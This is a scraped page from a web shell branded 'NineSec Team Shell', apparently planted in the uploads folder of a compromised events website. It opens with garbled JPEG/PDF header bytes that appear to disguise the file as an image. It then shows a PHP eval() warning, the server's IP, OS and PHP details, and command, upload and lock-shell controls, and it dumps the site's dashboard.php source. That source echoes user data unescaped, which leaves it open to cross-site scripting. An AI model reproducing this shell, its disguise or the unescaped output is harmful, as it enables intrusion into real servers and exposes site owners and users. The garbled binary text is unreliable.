JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C  %PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357389_0_197006009.php(44) : eval()'d code on line 6
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.172
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/../

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/../dashboard.php
<?php
session_start();
if (!isset($_SESSION['user_id'])) {
    header('Location: login.php');
    exit();
}

require_once 'config/database.php';

// Get user data
$user_id = $_SESSION['user_id'];
$stmt = $pdo->prepare("SELECT u.*, up.* FROM users u LEFT JOIN user_profiles up ON u.id = up.user_id WHERE u.id = ?");
$stmt->execute([$user_id]);
$user = $stmt->fetch(PDO::FETCH_ASSOC);

// Get user's events with certificate status
$events_stmt = $pdo->prepare("
    SELECT e.*, r.registration_date, r.status, 
           c.id as certificate_id, c.certificate_file, c.download_count,
           CASE 
               WHEN c.id IS NOT NULL THEN 'generated'
               WHEN e.event_date < CURDATE() AND r.status = 'approved' THEN 'eligible'
               ELSE 'pending'
           END as certificate_status
    FROM events e 
    INNER JOIN registrations r ON e.id = r.event_id 
    LEFT JOIN certificates c ON (e.id = c.event_id AND r.user_id = c.user_id)
    WHERE r.user_id = ? 
    ORDER BY e.event_date DESC
");
$events_stmt->execute([$user_id]);
$events = $events_stmt->fetchAll(PDO::FETCH_ASSOC);

// Get user's certificates
$certificates_stmt = $pdo->prepare("
    SELECT c.*, e.title as event_title, e.event_date 
    FROM certificates c 
    INNER JOIN events e ON c.event_id = e.id 
    WHERE c.user_id = ? 
    ORDER BY c.issued_date DESC
");
$certificates_stmt->execute([$user_id]);
$certificates = $certificates_stmt->fetchAll(PDO::FETCH_ASSOC);

// Get unread messages count
$messages_stmt = $pdo->prepare("SELECT COUNT(*) as unread_count FROM messages WHERE user_id = ? AND is_read = 0");
$messages_stmt->execute([$user_id]);
$unread_messages = $messages_stmt->fetch(PDO::FETCH_ASSOC)['unread_count'];

// Get recent messages
$recent_messages_stmt = $pdo->prepare("
    SELECT m.*, u.first_name as admin_first, u.last_name as admin_last 
    FROM messages m 
    LEFT JOIN users u ON m.admin_id = u.id 
    WHERE m.user_id = ? 
    ORDER BY m.created_at DESC 
    LIMIT 5
");
$recent_messages_stmt->execute([$user_id]);
$recent_messages = $recent_messages_stmt->fetchAll(PDO::FETCH_ASSOC);

// Count eligible events for certificates
$eligible_events = array_filter($events, function($event) {
    return $event['certificate_status'] === 'eligible';
});
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Dashboard - Princess UAE</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet">
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css" rel="stylesheet">
    <style>
        .dashboard-nav {
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
        }
        .stat-card {
            transition: transform 0.3s;
            border: none;
            border-radius: 15px;
            box-shadow: 0 5px 15px rgba(0,0,0,0.1);
        }
        .stat-card:hover {
            transform: translateY(-5px);
        }
        .profile-pic {
            width: 150px;
            height: 150px;
            object-fit: cover;
            border: 5px solid #fff;
            box-shadow: 0 4px 6px rgba(0,0,0,0.1);
        }
        .certificate-badge {
            background: linear-gradient(135deg, #d4af37, #f4d03f);
            color: white;
            padding: 3px 10px;
            border-radius: 15px;
            font-size: 0.8em;
            font-weight: bold;
        }
        .event-card {
            transition: all 0.3s;
            border: none;
            border-radius: 10px;
            box-shadow: 0 3px 10px rgba(0,0,0,0.1);
        }
        .event-card:hover {
            box-shadow: 0 5px 20px rgba(0,0,0,0.15);
        }
    </style>
</head>
<body>
    <!-- Navigation -->
    <nav class="navbar navbar-expand-lg navbar-dark dashboard-nav">
        <div class="container">
            <a class="navbar-brand" href="dashboard.php">
                <i class="fas fa-crown"></i> Princess UAE
            </a>
            <div class="navbar-nav ms-auto">
                <div class="nav-item dropdown">
                    <a class="nav-link dropdown-toggle" href="#" id="navbarDropdown" role="button" data-bs-toggle="dropdown">
                        <i class="fas fa-user-circle"></i> <?php echo $_SESSION['user_name']; ?>
                    </a>
                    <ul class="dropdown-menu">
                        <li><a class="dropdown-item" href="profile.php"><i class="fas fa-user-edit"></i> Edit Profile</a></li>
                        <li><a class="dropdown-item" href="messages.php">
                            <i class="fas fa-envelope"></i> Messages 
                            <?php if($unread_messages > 0): ?>
                                <span class="badge bg-danger"><?php echo $unread_messages; ?></span>
                            <?php endif; ?>
                        </a></li>
                        <li><hr class="dropdown-divider"></li>
                        <li><a class="dropdown-item" href="logout.php"><i class="fas fa-sign-out-alt"></i> Logout</a></li>
                    </ul>
                </div>
            </div>
        </div>
    </nav>

    <div class="container-fluid mt-4">
        <div class="row">
            <!-- Sidebar -->
            <div class="col-md-3">
                <div class="card">
                    <div class="card-body text-center">
                        <img src="<?php echo $user['profile_picture'] ?: 'assets/default-avatar.png'; ?>" 
                             class="profile-pic rounded-circle mb-3" 
                             alt="Profile Picture">
                        <h5><?php echo $_SESSION['user_name']; ?></h5>
                        <p class="text-muted"><?php echo $user['email']; ?></p>
                        <p class="text-muted">
                            <i class="fas fa-map-marker-alt"></i> 
                            <?php echo $user['city'] ?: $user['country'] ?: 'Not specified'; ?>
                        </p>
                    </div>
                </div>

                <div class="list-group mt-3">
                    <a href="dashboard.php" class="list-group-item list-group-item-action active">
                        <i class="fas fa-tachometer-alt"></i> Dashboard
                    </a>
                    <a href="events.php" class="list-group-item list-group-item-action">
                        <i class="fas fa-calendar-alt"></i> My Events
                    </a>
                    <a href="certificates.php" class="list-group-item list-group-item-action">
                        <i class="fas fa-certificate"></i> Certificates
                    </a>
                    <a href="messages.php" class="list-group-item list-group-item-action">
                        <i class="fas fa-envelope"></i> Messages
                        <?php if($unread_messages > 0): ?>
                            <span class="badge bg-danger float-end"><?php echo $unread_messages; ?></span>
                        <?php endif; ?>
                    </a>
                    <a href="profile.php" class="list-group-item list-group-item-action">
                        <i class="fas fa-user-edit"></i> Edit Profile
                    </a>
                </div>
            </div>

            <!-- Main Content -->
            <div class="col-md-9">
                <!-- Statistics Cards -->
                <div class="row">
                    <div class="col-md-3">
                        <div class="card stat-card text-white bg-primary">
                            <div class="card-body">
                                <div class="d-flex justify-content-between">
                                    <div>
                                        <h4><?php echo count($events); ?></h4>
                                        <p>Total Events</p>
                                    </div>
                                    <div class="align-self-center">
                                        <i class="fas fa-calendar-alt fa-2x"></i>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="col-md-3">
                        <div class="card stat-card text-white bg-success">
                            <div class="card-body">
                                <div class="d-flex justify-content-between">
                                    <div>
                                        <h4><?php echo count($certificates); ?></h4>
                                        <p>Certificates</p>
                                    </div>
                                    <div class="align-self-center">
                                        <i class="fas fa-certificate fa-2x"></i>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="col-md-3">
                        <div class="card stat-card text-white bg-warning">
                            <div class="card-body">
                                <div class="d-flex justify-content-between">
                                    <div>
                                        <h4><?php echo count($eligible_events); ?></h4>
                                        <p>Pending Certificates</p>
                                    </div>
                                    <div class="align-self-center">
                                        <i class="fas fa-clock fa-2x"></i>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="col-md-3">
                        <div class="card stat-card text-white bg-info">
                            <div class="card-body">
                                <div class="d-flex justify-content-between">
                                    <div>
                                        <h4><?php echo $unread_messages; ?></h4>
                                        <p>Unread Messages</p>
                                    </div>
                                    <div class="align-self-center">
                                        <i class="fas fa-envelope fa-2x"></i>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>

                <!-- Certificate Generation Alert -->
                <?php if (count($eligible_events) > 0): ?>
                <div class="alert alert-warning alert-dismissible fade show mt-4" role="alert">
                    <h5><i class="fas fa-certificate"></i> Certificates Available for Generation!</h5>
                    <p>You have <strong><?php echo count($eligible_events); ?> event(s)</strong> that are eligible for certificate generation. Click the generate button below each event to create your certificate.</p>
                    <button type="button" class="btn-close" data-bs-dismiss="alert"></button>
                </div>
                <?php endif; ?>

                <!-- Recent Events with Certificate Status -->
                <div class="row mt-4">
                    <div class="col-md-6">
                        <div class="card">
                            <div class="card-header d-flex justify-content-between align-items-center">
                                <h5 class="card-title mb-0">
                                    <i class="fas fa-calendar"></i> Recent Events
                                </h5>
                                <span class="badge bg-primary"><?php echo count($events); ?> Events</span>
                            </div>
                            <div class="card-body">
                                <?php if(count($events) > 0): ?>
                                    <?php foreach(array_slice($events, 0, 3) as $event): ?>
                                        <div class="card event-card mb-3">
                                            <div class="card-body">
                                                <div class="d-flex justify-content-between align-items-start">
                                                    <div class="flex-grow-1">
                                                        <h6 class="card-title mb-1"><?php echo $event['title']; ?></h6>
                                                        <small class="text-muted">
                                                            <i class="fas fa-calendar-day"></i> 
                                                            <?php echo date('M j, Y', strtotime($event['event_date'])); ?>
                                                        </small>
                                                        <br>
                                                        <small class="text-muted">
                                                            <i class="fas fa-map-marker-alt"></i> 
                                                            <?php echo $event['location']; ?>
                                                        </small>
                                                    </div>
                                                    <div class="text-end">
                                                        <?php if ($event['certificate_status'] === 'generated'): ?>
                                                            <span class="certificate-badge">
                                                                <i class="fas fa-check"></i> Certificate Ready
                                                            </span>
                                                        <?php elseif ($event['certificate_status'] === 'eligible'): ?>
                                                            <span class="badge bg-warning">
                                                                <i class="fas fa-clock"></i> Generate Certificate
                                                            </span>
                                                        <?php else: ?>
                                                            <span class="badge bg-secondary">
                                                                <i class="fas fa-hourglass-half"></i> Pending
                                                            </span>
                                                        <?php endif; ?>
                                                    </div>
                                                </div>
                                                
                                                <div class="mt-2">
                                                    <?php if ($event['certificate_status'] === 'generated'): ?>
                                                        <a href="download_certificate.php?event_id=<?php echo $event['id']; ?>" 
                                                           class="btn btn-success btn-sm">
                                                            <i class="fas fa-download"></i> Download Certificate
                                                        </a>
                                                    <?php elseif ($event['certificate_status'] === 'eligible'): ?>
                                                        <a href="generate_certificate.php?event_id=<?php echo $event['id']; ?>" 
                                                           class="btn btn-warning btn-sm">
                                                            <i class="fas fa-cog"></i> Generate Certificate
                                                        </a>
                                                    <?php endif; ?>
                                                    <a href="event.php?id=<?php echo $event['id']; ?>" class="btn btn-outline-primary btn-sm">
                                                        <i class="fas fa-eye"></i> View Details
                                                    </a>
                                                </div>
                                            </div>
                                        </div>
                                    <?php endforeach; ?>
                                    <a href="events.php" class="btn btn-outline-primary btn-sm">View All Events</a>
                                <?php else: ?>
                                    <p class="text-muted">No events registered yet.</p>
                                    <a href="events.php" class="btn btn-primary">Browse Events</a>
                                <?php endif; ?>
                            </div>
                        </div>
                    </div>

                    <!-- Recent Messages -->
                    <div class="col-md-6">
                        <div class="card">
                            <div class="card-header d-flex justify-content-between align-items-center">
                                <h5 class="card-title mb-0">
                                    <i class="fas fa-envelope"></i> Recent Messages
                                </h5>
                                <?php if($unread_messages > 0): ?>
                                    <span class="badge bg-danger"><?php echo $unread_messages; ?> New</span>
                                <?php endif; ?>
                            </div>
                            <div class="card-body">
                                <?php if(count($recent_messages) > 0): ?>
                                    <?php foreach($recent_messages as $message): ?>
                                        <div class="d-flex mb-3">
                                            <div class="flex-shrink-0">
                                                <i class="fas fa-envelope<?php echo $message['is_read'] ? '-open' : ''; ?> text-warning fa-2x"></i>
                                            </div>
                                            <div class="flex-grow-1 ms-3">
                                                <h6 class="mt-0 mb-1"><?php echo $message['subject']; ?></h6>
                                                <small class="text-muted">
                                                    From: <?php echo $message['admin_first'] ? $message['admin_first'] . ' ' . $message['admin_last'] : 'Administrator'; ?>
                                                </small>
                                                <br>
                                                <small class="text-muted">
                                                    <?php echo date('M j, Y g:i A', strtotime($message['created_at'])); ?>
                                                    <?php if(!$message['is_read']): ?>
                                                        <span class="badge bg-danger">New</span>
                                                    <?php endif; ?>
                                                </small>
                                                <p class="mb-0 text-muted" style="font-size: 0.9em;">
                                                    <?php echo substr($message['message'], 0, 100); ?>...
                                                </p>
                                            </div>
                                        </div>
                                    <?php endforeach; ?>
                                    <a href="messages.php" class="btn btn-outline-warning btn-sm">View All Messages</a>
                                <?php else: ?>
                                    <div class="text-center py-3">
                                        <i class="fas fa-envelope-open fa-3x text-muted mb-3"></i>
                                        <p class="text-muted">No messages yet.</p>
                                    </div>
                                <?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

                <!-- Certificates Section -->
                <div class="row mt-4">
                    <div class="col-12">
                        <div class="card">
                            <div class="card-header d-flex justify-content-between align-items-center">
                                <h5 class="card-title mb-0">
                                    <i class="fas fa-certificate"></i> My Certificates
                                </h5>
                                <span class="badge bg-success"><?php echo count($certificates); ?> Generated</span>
                            </div>
                            <div class="card-body">
                                <?php if(count($certificates) > 0): ?>
                                    <div class="row">
                                        <?php foreach(array_slice($certificates, 0, 3) as $cert): ?>
                                            <div class="col-md-4 mb-3">
                                                <div class="card h-100 text-center">
                                                    <div class="card-body">
                                                        <div class="certificate-icon mb-3">
                                                            <i class="fas fa-certificate fa-4x text-warning"></i>
                                                        </div>
                                                        <h6 class="card-title"><?php echo $cert['event_title']; ?></h6>
                                                        <p class="card-text">
                                                            <small class="text-muted">
                                                                <i class="fas fa-calendar"></i> 
                                                                <?php echo date('F j, Y', strtotime($cert['event_date'])); ?>
                                                            </small>
                                                            <br>
                                                            <small class="text-muted">
                                                                <i class="fas fa-download"></i> 
                                                                Downloaded <?php echo $cert['download_count']; ?> times
                                                            </small>
                                                        </p>
                                                    </div>
                                                    <div class="card-footer bg-transparent">
                                                        <a href="download_certificate.php?certificate_id=<?php echo $cert['id']; ?>" 
                                                           class="btn btn-success btn-sm">
                                                            <i class="fas fa-download"></i> Download
                                                        </a>
                                                        <a href="certificate_preview.php?id=<?php echo $cert['id']; ?>" 
                                                           class="btn btn-outline-primary btn-sm" target="_blank">
                                                            <i class="fas fa-eye"></i> Preview
                                                        </a>
                                                    </div>
                                                </div>
                                            </div>
                                        <?php endforeach; ?>
                                    </div>
                                    <div class="text-center mt-3">
                                        <a href="certificates.php" class="btn btn-outline-success">View All Certificates</a>
                                    </div>
                                <?php else: ?>
                                    <div class="text-center py-5">
                                        <i class="fas fa-certificate fa-4x text-muted mb-3"></i>
                                        <h5>No Certificates Yet</h5>
                                        <p class="text-muted">Your certificates will appear here after you generate them from completed events.</p>
                                        <?php if (count($eligible_events) > 0): ?>
                                            <a href="events.php" class="btn btn-warning">
                                                <i class="fas fa-cog"></i> Generate Certificates Now
                                            </a>
                                        <?php else: ?>
                                            <a href="events.php" class="btn btn-primary">
                                                <i class="fas fa-calendar-alt"></i> Browse Events
                                            </a>
                                        <?php endif; ?>
                                    </div>
                                <?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js"></script>
    <script>
        // Auto-dismiss alerts after 5 seconds
        document.addEventListener('DOMContentLoaded', function() {
            var alerts = document.querySelectorAll('.alert');
            alerts.forEach(function(alert) {
                setTimeout(function() {
                    var bsAlert = new bootstrap.Alert(alert);
                    bsAlert.close();
                }, 5000);
            });
        });
    </script>
</body>
</html>

NineSec Team - 2022